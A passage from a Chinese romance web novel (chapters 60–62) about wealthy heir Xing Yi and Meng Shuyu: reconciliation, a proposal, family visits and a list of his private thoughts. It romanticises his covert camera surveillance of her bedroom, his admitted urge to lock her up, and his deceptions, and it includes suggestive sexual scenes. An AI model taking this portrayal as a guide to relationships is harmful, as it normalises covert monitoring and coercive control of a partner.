人已经进局子了,那帮受雇发黑稿的营销号八成是拿不到尾款,同时没了靠山,一夜之间回过味来,害怕被信昀集团法务部告得倾家荡产,于是个个化身电子窦娥,发帖喊冤,暗示录音是被添油加醋剪辑过的,他们是无辜的,只是一时财迷心窍,被当枪使了。 舆论的变化,牵引着集团股价涨涨跌跌。这么一来,趋势又好转了。 孟纾语心不在焉划着屏幕。 或许邢屹早就料到结果,所以才一直懒得插手。 思来想去,是她没有经历过类似的事,经验少,担心过头了。 她放下手机,拿过床头的针织外套准备披上。 手机突兀响起。 老孟的电话。 “”她慢吞吞接通,心虚的语气,“爸。” “敲门怎么没人应呢?你不在家吗?” 她不假思索:“我在婧婧家呢。怎么啦?” 老孟安静几秒,没有追根究底,只是语重心长说:“没什么,想给你做一顿早餐来着。没事就行,最近店铺挺忙的,我下午赶飞机回去了,你要好好照顾自己,过年记得早点回家,知道吗?” “嗯,好” 父女俩寒暄几句,电话挂断。 孟纾语拥着被子坐在床上发呆。 她四下看看,总觉得哪里怪怪的。 抬起头。 果然有个闪烁的小红点对着她。 又来这一套! 简直要被他气死。 孟纾语深呼吸,点进邢屹的聊天框,快速打字:[我刚睡醒的样子有什么好看的?!] 对面秒回。 XY:[可爱。] “??”好变态。 她受不了了,隐约有点头皮发麻。 [你又这样,我会生气的] 邢屹总有他蛮横的道理。 他说他今天在申城出差,明天才回来。 XY:[整整两天看不见你,我的心情也很差] 她差点噎住。 [就分开两天也不行吗?] XY:[不行] “”简直无法沟通。 她试图讲理:[之前都说了,我不喜欢被监视,你想我可以打视频,也可以聊语音,有很多正常人的联系方式啊] XY:[不感兴趣] [那我回公寓住了!] 字刚打完,她脑子里闪过一道白光。 不对啊,她为什么会觉得公寓里就没有监控摄像头? 太阳穴隐约抽痛,她调整心态,直接一个电话打过去。 那边接得很磨蹭,好像故意吊她胃口。 漫长的等待音结束,她脱口而出:“林助在你身边吗?” “在。”邢屹那边很安静,估计刚到住处歇下,淡然无谓的语气,“找他有事?” 孟纾语一鼓作气说:“把你的手机给他,开视频,让他把摄像头对着你,我今天一整天都要看着你,你不可以离开我的视线,一步都不行!” 并不是真心话,而是逼不得已的气话。 毕竟她不是占有欲旺盛的变态。 听筒那边静了许久。 忽然声线平直地应下:“好,你说的。” “对,我说的。”孟纾语挺直腰杆,非常硬气地攥紧手机。 又很贴心地想,为了避免林助积怨过重,她决定给他发一个大红包,感谢他的倾情配合。 于是从早到晚,孟纾语在修改论文之余,手机一直架在桌边。 其实不是很想看,但话都撂在那儿了,不看就说不过去了。 于是时不时瞥他一眼,意思意思。 大半天过去,她看见邢屹进出套房,上车,下车,开会,应酬 一系列琐碎事项,她在屏幕之外看得一清二楚。 他手机电量这么能撑吗? 终于,邢屹脱下外套进了办公室,从林泽手里接过手机。 她以为他要拿去充电。 屏幕里的他耷着眼睫,死亡角度下也能棱角分明,看得她心头一晃一晃。 邢屹拿着手机进了一个光线敞亮的空间,她隐约看见反光的瓷砖。 只见他把手机架在某一处,掠她一眼:“不回避一下?” 孟纾语对着屏幕眨眨眼。 “干嘛?” 他笑了下,混不吝地拖长调子:“上厕所啊。” “” 她默默把手机倒扣。 听见暧昧的水声。 片刻,停了。 她及时出声说:“你先充电吧,小心手机发烫。” 于是挂了视频。 其实发烫的不是手机,而是在她“监视”下的邢屹。 办公室里,邢屹洗完手走出卫生间,林泽弯腰在桌边整理文件,抬头问他:“被孟小姐监视的感觉怎么样?” 邢屹若无其事坐下来,半个身子陷进皮革椅里,仰头闭着眼,微微牵起嘴角说:“很烫。” “啊?”林泽没听明白,“你发烧了?” 邢屹不解释。 反正就是烫。 某一处最烫,烫得他全身的血都在沸腾。被她这样一反常态地对待,尽管不是她的本意,他也无比受用。 电脑屏幕竖在桌上,左上角悬浮的小屏里,是孟纾语趴在书桌上打盹的画面。 垂落至腰间的毛毯,微微拱起的肩背,水波般散开的长发。 埋进臂弯的侧脸,不小心被手臂挤出来的一小团脸颊肉。 看得到,却碰不了。 让他莫名烦躁 孟纾语改了一天的论文,困得趴在书桌上睡着了。 太阳落山,隐约听见院子里有车辆驶入的动静。 她半梦半醒,以为是邢美莱回来了。 缓了会儿,她揉着眼睛起身,正想下楼,房门被利落地推开。 她茫然转过身,一个吻铺天盖地般压下来,她吓得撞到桌沿,后腰一阵酸麻,邢屹掐着她后颈撞过来,没有一丝一毫的克制,只顾胡搅蛮缠,仿佛要一口接一口吞了她。 呼吸之间全是他身上的淡香,他紧追不舍,她舌尖都快麻了,想别过脸缓口气,他却直接摁着她后脑勺追吻。 孟纾语掐着他手臂,招架不住地捶了两下,轻软囫囵的抱怨声闷在吻里:“不是说出差吗,怎么突然回来!” “想你啊。”他浑不正经,磨着她的唇说,“跟你赌气的两年,好想你。” 她怔了怔,用来掐他的手忽然松了力道。 于是被他握着手腕,按下去。 她指尖一颤,大脑空白了一瞬。 找回清醒说:“你今天监视我,我生气了。” 邢屹在她唇上舔/弄一记,轻佻目光掠她一眼:“这不是大老远赶回来让你罚吗。” 她疑心有诈。 “怎么怎么罚?” 邢屹敛眸轻笑,指腹在她手腕内侧轻轻摩挲。 “控she,会吗?” The end 第61章 回吻爱了你很久 掌心滚烫隐隐跳动。 不敢长时间注视他的眼睛,孟纾语低头看着自己泛红的指尖,凭感觉和记忆,一言不发,进行一场毫无章法的“惩罚”。 由她掌控的轻重缓急,牵动他眼底翻涌的情绪。 孟纾语暗自观察,他有好几次眉头紧锁,可等她摸索出一点门道之后,他又一如往常。 后来不管她怎么使坏,他都只是轻描淡写看着她,像是要观察她下一步怎么做。 奇怪,她竟然有种上公开课起立回答问题的感觉。 好不自在。 她失神片刻,邢屹径直握上她踌躇的手腕,眯了眯眼:“孟纾语,你行不行啊?” “我不会。” 她快速眨眼,目光飘向远处。 邢屹贴过来,要吻不吻地蹭着她的耳朵,热气扑落:“刚才不是挺会?” 他坏心眼地舔了一记。 耳垂好痒。她下意识攥着他衣袖。 “刚才你教我了” “那就继续按我说的做。” “” 又磨蹭半晌。 确实都按流程走了。 可是他就像攻略游戏里的最后一关,极其难攻破。 久违的胜负欲都被他挑起来了。 孟纾语心一横,攥了攥拳,停顿说:“想要吗?” 邢屹一身懒筋懒骨向后靠着,一手搭在额上,眉梢动了动。 似是没想到她会这样大胆地试探他。 他表情没什么变化,言简意赅:“要。” 要个头。 手腕被他攥酸了,她气恼地吸一记鼻子。 低垂着眼睫,小小声说:“要也不给了。坏东西,还说让我罚你,明明就是在暗喜。” 他神情微动,兴味盎然的语气:“孟纾语,你现在对我好凶啊。” “?”哪里凶他了,“你这个蛮横鬼,贼喊捉贼。” 他低声笑。 “孟纾语是贼。偷心大盗。” 她愣住。 有点诧异,心不在焉地反驳:“你强势又冷血,哪来的心。有也是硬的。” “这不是被你偷走了么?”他恬不知耻又有理有据,尾音淡然往下沉了一度,耐人寻味地说,“早就在你手里了。” 孟纾语慢半拍反应过来,心跳隐隐加速。 明明在借机跟他较劲,他却一副暗欲满盈的样,黑沉目光绞着她。 她抬眸撞进他眼里,一时控制不住轻重,失手一滑。 邢屹皱了皱眉,不顾此刻凌乱,一手摁着她后脑勺吻过来。 空气里黏糊糊的暧昧甜涩弥散开,混在他衬衫衣角的淡香里。 她耳根发烫,用干净的手背推他一下。 邢屹吻不尽兴,眼底泛起一丝莫名的焦躁,敛眸审视她。 她别过脸,讷讷说:“我怎么没感觉我在罚你呢” 邢屹不走心地笑了下。 “罚了啊。”他埋到她颈侧,沉哑气息在她耳畔游来游去,“我都紧张成这样了。你没看见?” 她觉得自己被诓了。 他有紧张吗? 好像很享受吧。 邢屹将五指陷进她乌黑长发,托着她后颈不紧不慢地靠过来,含着她柔软的唇,少了几分急躁,多了一丝与窗外黄昏相呼应的温存。 两人心照不宣地吻了会儿,忽然有凉凉的东西碰到她锁骨。 那枚被她扔过的戒指,还在他脖子上挂着。 他直接摘下来,戴到她无名指上。 她往回收手,无意识攥着衣角。 “你在干嘛,求婚吗?” 他抚摸她头发的动作停下来,有点好笑地问:“你很期待?” “?”又颠倒黑白。 不想上他的套,她转移话题:“对了,还有几个月就到你生日了,想要什么生日礼物?” 这回可别再生闷气说她不送礼物了。 邢屹看着她,不急不缓地问:“我说要,你就给?” “唔”她很认真地想,“这个要问一下我的银行卡余额,如果不够的话——” “我要孟纾语嫁给我。” 他打断她的话。 窗外暖洋洋的晚霞映着积雪,一只小寒雀掠过树枝,皎洁零碎的雪块悄然掉落。 世界莫名其妙静了半晌。 她手指微颤,向内收敛的拇指摸到戒指外环,最初的微凉质感,已经被她体温捂热。 她呼吸慢下来。 “哪有说嫁就嫁的,一点也不严谨。” “不嫁也行。”他语气懒散洒脱,眼神却溢出一丝专注,托着她的脸说,“但要保管好我的心。” 他的心简直是危险品。 捧在手里太烫,捏一捏又太硬,总是一副高高在上的模样,每时每刻都想趁她不设防的时候嵌进她身心,占据她的一切。 但又不计得失地爱着她。 好像从很久以前开始,他心底那堵潮湿的墙面就已经刻满她的名字- 一月底,孟纾语独自回到宁城。 墓园里的小树又长高了些,即使在冬天,枝叶也是郁郁葱葱的模样,风过有声。 清澈的晨光里,孟纾语站在树前,伸手摸了摸坚硬的枝干。 一层粗糙起伏的纹路,是岁月痕迹。 “妈,我好想你。你曾经对我说,人要对自己诚实,喜欢就是喜欢,不喜欢就是不喜欢,不能模棱两可地欺骗自己。” “所以我无法否认,我确实很喜欢邢屹。” “我最初以为,他天生就是个表里不一的坏种。直到我了解他的全部,我才明白,每个人都是复杂的,根本无法用简单的‘好’或‘坏’去下定义,那太粗暴了,也太肤浅了。” “不过他的确是一个病态的人,他的爱固执又扭曲,经常让我手足无措。” “之前我总是骂他人渣,骂他败类。虽然当时的他确实配得上那些称号,不过” ——“你在表白还是在骂我?” “?!” 孟纾语惊慌回头。 自言自语被撞 破的尴尬感让她头皮发麻,她脸色涨红,气恼又郁闷地望着他,“你什么时候来的!” 邢屹信步上前,掀开羊绒大衣把她裹住。 他抬头看了眼葱绿的枝叶,不走心地答:“昨晚的航班,比你早到。” 孟纾语被他温热的胸膛闷住呼吸,她脑袋不适地蹭了蹭,抬头看他:“为什么不提前跟我说?” “当然是为了吓你一跳。” “”好欠揍。 临近中午,两人离开树葬墓园。 正走着,看见远处草坪落了只小鸟,朝着前方蹬蹬蹬蹬蹬,两支小短腿倒腾挺快。 她目光一亮,指给他看:“好可爱的小鸟。” “好逗。”邢屹调侃它快步跑过的姿态,撩欠地说,“跟你之前躲我的时候一模一样。” “” 邢屹落地宁城之后,直接在车库里挑了一辆车。 孟纾语坐进副驾,莫名的熟悉感。 这车,好像是三年前用来送她回家的那辆。 邢屹转着方向盘掉了个头,目视前方,分心问了句:“孟叔在哪?” 孟纾语顿时警惕。 “我爸在茶铺里呢。”她适时提醒说,“你最好不要跟他撞上,你在他心里的滤镜已经碎了,他现在对你意见好大。” 邢屹一脸“我早就知道”的表情,云淡风轻说:“有个东西要给他。” “什么?” 是一枚备份u盘。 下午,孟明德坐在店里细心对账目。 听见几米开外有脚步声,以为来客人了。 抬头一看,居然是姓邢的臭小子。 该说不说,这小子看上去真是一表人才,天生的盘靓条顺,自带一股鹤立鸡群的优越感,不动声色走进店里,外头一堆路过的小姑娘探着脖子往里瞧。 不知道的还以为这是网红茶叶铺。 邢屹不急不缓走上前。 他身上积淀已久的嚣张倨傲,让他笑或不笑都很招人来气。 老孟不自在地抿了抿唇,继续低头算账,没看他。 邢屹兀自停下来,把u盘放到桌上。 仍然是那副清越的嗓音:“孟叔,好久不见。” 老孟犹疑地拿起u盘。 “什么东西?” 邢屹自顾拉了把椅子在对面坐下来,跟上了谈判桌似的,游刃有余,甚至反客为主。 “您拿回去看了就知道。您给小语拍的成长视频,都在里面。” 老孟诧异。 “视频?视频不是早就没了吗,怎么会在你手里?” “说来话长,以后有机会再告诉您。您只需要知道,我从很久之前就喜欢您女儿。这辈子非她不可。” 老孟愣了愣,仿佛遭迎头一棒,赞同也不是,反驳也不是。明明有诸多想问,却不知从何问起。 他只好轻咳一声,揣好u盘。 “你跟小语一起回来的?打算来我们家过年?” 邢屹牵起嘴角:“是有这个想法。您不介意吧?” 蹬鼻子上脸。 老孟无语片刻。 “行、行吧。吃顿年夜饭而已。不过,我们家客房不多,没你的落脚地哈。” 言外之意,你小子不许住我家,跟我女儿保持距离。 邢屹轻描淡写说:“没关系,我在宁城留了几套住处,不方便的话,我会带小语出去住。” “?!”老孟脸都绿了。你个杀千刀的臭小子,真想给你来一拳 邢屹跟老孟谈话的时间,孟纾语正在小清吧里听驻场歌手弹唱民谣。 毛婧婧赶过来陪她,搓着双手感慨:“受不了了,南方什么时候集中供暖啊?冷死了,还是北方好。” 孟纾语把怀里的暖宝宝撕下来,对折递给她:“呐,给你暖手。” 毛婧婧容光焕发地接过,孟纾语视线一晃,看见吧台另一头坐了个颓靡的男生。 是卓耀明。 对方转头看见她,表情莫名呆滞,很快又化成一种无处遁形的窘迫,快速别过脸,拿起手机。 孟纾语茫然几秒,收到短信。 卓耀明:[真巧,又在这里碰见你。我为我之前做过的坏事道歉。然后祝你一切都好吧,我不会再打扰你了。] 她默了默,再一抬眸,远处身影已经消失。 吧台上冰块未化的酒杯被服务员收走,留下一圈待干的水渍。 转眼夜幕降临。 孟纾语听歌听得入迷,一连喝了好几杯特调。 甜滋滋的,其实后劲很大。 她打了个哈欠,晕乎乎趴在桌上。 毛婧婧戳戳她的脸:“不给邢屹打个电话?万一他被孟叔揍了怎么办?” 她缓缓眨眼,一点也不心疼:“揍吧,他很抗揍的,他之前拿过散打冠军” ——“你心挺狠啊,孟纾语。” 邢屹冷不丁出现,毛婧婧秉着不当电灯泡的觉悟,火速开溜。 孟纾语昏昏沉沉睁开眼,面前是一张让人心动的脸庞。 酒吧迷离的光线晕在他眉间,模糊他原本的凌厉,添了一丝让人心颤的温柔。 远处往来的人影化作朦胧的马赛克,这个不大不小的空间里好像只剩他们两人,以及墙上那些色彩各异的装饰海报。 轻缓的爵士乐像是隔着冗长的岁月传来,不太真切。 好奇怪,似乎在梦里出现过这样的场景。 邢屹坐在旁边,支着额头戏谑:“不认识我了?” 孟纾语下意识伸手,紧紧攥住他衣袖。 “认识,你是邢屹” 她心头乱糟糟的,却又很软,像被丝线缠住。 邢屹低眸看一眼被她紧攥到变形的衣袖,轻嗤道:“跟小时候一样,坏毛病。” 小时候 可是儿时的记忆已经很模糊了。 她梦呓般小声问:“可不可以告诉我,你到底是什么时候认识我的?” 邢屹轻弹她额头。 “你猜。” “啊我猜不出来。” 她困倦地揉了揉眼睛,朝他张开手臂。 “要抱抱” 邢屹喉结微动,起身抱住她,在她发顶揉了一把。 她埋进他怀里,听见他蓬勃有力的心跳,好像在对她说—— 在我们未曾相识的时候,我爱了你很久。 第62章 病历本邢屹在想些什么…… 「邢屹的病历本-关于他内心深处的想法」- 那天,他在宁城见到了孟纾语。 她十七岁,灰色百褶裙,白色帆布鞋,站在收银台前排队,拿着一瓶陈醋发呆。 下一秒,她隔着玻璃橱窗看了他一眼。 他表面冷得镇定,夹着烟的手指却倏然一颤。 掉落的烟灰烫到他指背。 他终于遇见她了。他想给她一切- 孟纾语住进颐云公馆之后,柜子里源源不断的昂贵新衣,不是莱姨买的。 是邢屹买的- 她的十八岁生日礼物是一架钢琴。这事也是邢屹提议的。 表面是莱姨下的订单,背后是他暗箱操作给的钱。 当时邢美莱还疑惑,怎么卡里一分钱没少,钢琴却光明正大送到家了- 其实他对钢琴不感兴趣。 只是恰好,在成长vlog里得知孟纾语喜欢,所以他从十三岁开始自学。 好几次想砸了钢琴,最终还是坚持下来。 心想,等她不高兴的时候,他可以弹琴给她听- 大学那会儿改了微信名,从Xx改成xy。 意思不是邢屹。 而是小语 - 孟纾语住到家里之后,邢屹希望每天都能看见她。 当她不在的时候,他就产生了一种奇怪的情绪。 焦灼,不安。 咨询了心理医生才知道,那叫分离焦虑。 孟纾语很多次想搬走,他尝试用金钱留住她。 她每次都不要。 那段时间,非常希望她变成一个拜金的人- 给她挑了几套法式蕾丝,到头来她一件也没穿,他却因此做了好几场春梦。 无论现实还是梦里,他都最喜欢她骑在他身上- 邢屹希望孟纾语每天都开心。 但只要他离她近一点,她就愁眉苦脸,说讨厌他。 他试图保护她,却因为用力过猛而让她害怕。 其实他迷茫过很长一段时间。 他一直不懂正常人的爱。 但好在他有钱。 孟纾语不理他的时候,他就给她打钱。 顺便喂一喂她蚂蚁庄园里快饿晕的小鸡- 第一次带她回老宅吃饭,她被邢皓南刁难。 其实邢屹最开始的想法,不是简单回怼,而是把对方的头摁进汤碗里,把人呛死- 她给李时然送生日礼物那次,邢屹嫉妒得发狂。 事后又看了一次心理医生。 诊断结果出来,发现他的偏执程度越来越重。 正好邢老子催他出国。 他觉得,是时候该离开一段时间,好好治病- 邢屹跟孟纾语提分手,目的是让她挽回自己。 简而言之,作。 他承认自己作得要死。 以为会被她挽回,没想到喜提拉黑。 后来他失眠一个月,抽烟抽得肺都疼了- 出国那天,他在机场里等了很久。 没有等到孟纾语。 林泽在一旁添油加醋地问,想她啦?不打算给她打个电话吗? 可是号码早被拉黑了。 于是他尝试用新的手机号打过去。 那边很快就接通,孟纾语脱口而出:抱歉,我现在不买房,谢谢你啦,拜拜。 嘟。被挂了。 他脸色一黑,全程一副杀手表情登了机- 到了纽约之后,那边的心理医生建议他采用药物治疗。 于是他吃了很多精神类药物。 时间一长,避免不了一系列不良反应,比如时不时出现的恍惚感。 有一次感冒在家,吃了药极度犯困,他分不清梦境和现实,只觉得手边有个软软的东西,于是就捞过来,抱着睡着了。 菲籍保姆到点赶来打扫卫生,看见邢屹躺在沙发上,怀里紧抱一个枕头,有点意识不清,嘴里频繁低喃着什么。 好像是一个名字,小语- 邢屹承认自己共情力低下。 但其实,孟纾语想念母亲的时候,他是会心疼的。 只是因为不想暴露自己的弱点,所以每次都撂话称,自己无法理解她对母亲的感情。 就嘴硬。 导致孟纾语误以为,他的温柔都是假的。 无奈,他这是搬起石头砸自己的脚。 只能慢慢解释,慢慢哄- 因为喜欢舔她,所以邢屹想过,要不要去打个舌钉。 但说实话,他自认为有点非主流。 怕被她嫌弃,最后还是打消了念头- 两年了,他的病还是没能治好。 偏执,掌控,占有一切变本加厉。 他以为自己回国后的第一件事,是把她绑回家锁起来。 可是那一晚,他隔着车窗玻璃,看着在校门口跟别人谈笑风生的她。 一边嫉妒,一边又心疼,她怎么瘦了那么多- 最初,邢屹对她的要求是,必须爱他。 再后来,他的下限直降—— 只要能把她留在身边,她不爱他也行- 虽然邢屹憎恨母亲,但偶尔,他也感谢母亲的遗传基因,给了他这副百分百的好皮囊。 可以因此让孟纾语对他稍微迷恋一刻。挺好- 书房抽屉里存了很多财产赠与合同。 每份都写了孟纾语的名字。 邢屹学不会平静克制的爱,但他唯一知道的是,一切都要给她最好的- 邢屹知道老爷子在利用他。 但是无所谓。 他会借此掌控自己的人生。 未来,他爱谁,想跟谁结婚,都是他一个人说了算。 能力是爱一个人的资本,他不能连这个都不具备- 孟纾语睡在他怀里的每一晚,他都不用再吃药。 邢屹逐渐发现,比起做/爱,他好像更喜欢听她匀浅的呼吸声。 在她沉睡时,他会悄然亲吻她舒展的眉心。 她迷迷糊糊往他怀里拱的时候,他大脑一片空白。 恨不得时间停在这一刻- 邢屹设想过,是否要伪装成温淡的模样与她相爱。 事实是,不行。 他知道,时间一长,他一定会嫉妒那个伪装后的自己。 因为她爱的是那个人,而不是真实的他- 她担心自己怀孕那晚,邢屹第一次体会到什么叫百感交集。 他既希望结果是个乌龙,又希望能借此留住她,拥有一个属于他们的家- 为了让她留在身边而欺骗她,是邢屹做过最后悔的事。 懊悔、反思,这些看似非常正常的事,他却很晚才学会。 有愧于心。 对此,他道歉的方式是给钱。 不过孟纾语一身正气,对这些“不义之财”没什么兴趣。 邢屹非常伤脑筋。 他很想开个小号每日记录: 今天孟纾语图我钱了吗?- 邢屹最大的梦想,就是听孟纾语对他说一句“我好爱你”。 醉酒状态下除外。 她喝醉之后会无意识撒娇,每次都勾他。 可是撩起火了又不负责- 邢屹从小到大,还是有点自知之明的。 他绝不否认自己有病。 如果要写一篇自传,开头两句一定是—— 这个人天生病态扭曲。 他最爱的人是孟纾语。